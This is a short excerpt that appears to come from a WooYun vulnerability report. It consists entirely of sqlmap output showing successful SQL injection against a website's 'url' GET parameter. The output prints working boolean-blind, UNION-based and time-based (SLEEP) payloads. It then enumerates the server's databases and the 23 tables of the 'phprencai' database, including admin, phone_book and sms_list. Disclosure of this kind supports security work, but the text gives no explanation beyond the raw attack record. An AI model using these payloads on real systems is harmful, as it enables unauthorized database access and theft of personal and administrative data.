WooYun.org

sqlmap identified the following injection points with a total of 24 HTTP(s) requests:
---
Place: GET
Parameter: url
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: url=25842 AND 9582=9582
    Type: UNION query
    Title: MySQL UNION query (NULL) - 9 columns
    Payload: url=25842 LIMIT 1,1 UNION ALL SELECT NULL, CONCAT(0x3a6c72763a,0x6e6c514f4c4f79664276,0x3a7572783a), NULL, NULL, NULL, NULL, NULL, NULL, NULL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: url=25842 AND SLEEP(5)
available databases [4]:
[*] information_schema
[*] mysql
[*] phprencai
[*] test
Database: phprencai
[23 tables]
+------------------------+
| admin                  |
| digipaper_article_maps |
| digipaper_articles     |
| digipaper_comments     |
| digipaper_constants    |
| digipaper_guanggao     |
| digipaper_pages        |
| digipaper_subscribers  |
| group_user_list        |
| jiaose                 |
| lanmu                  |
| meitidanwei            |
| message                |
| message_user           |
| newfile                |
| phone_book             |
| phone_book_group       |
| pinglun                |
| send_list              |
| sms_list               |
| sms_type               |
| user_group             |
| yuqing                 |
+------------------------+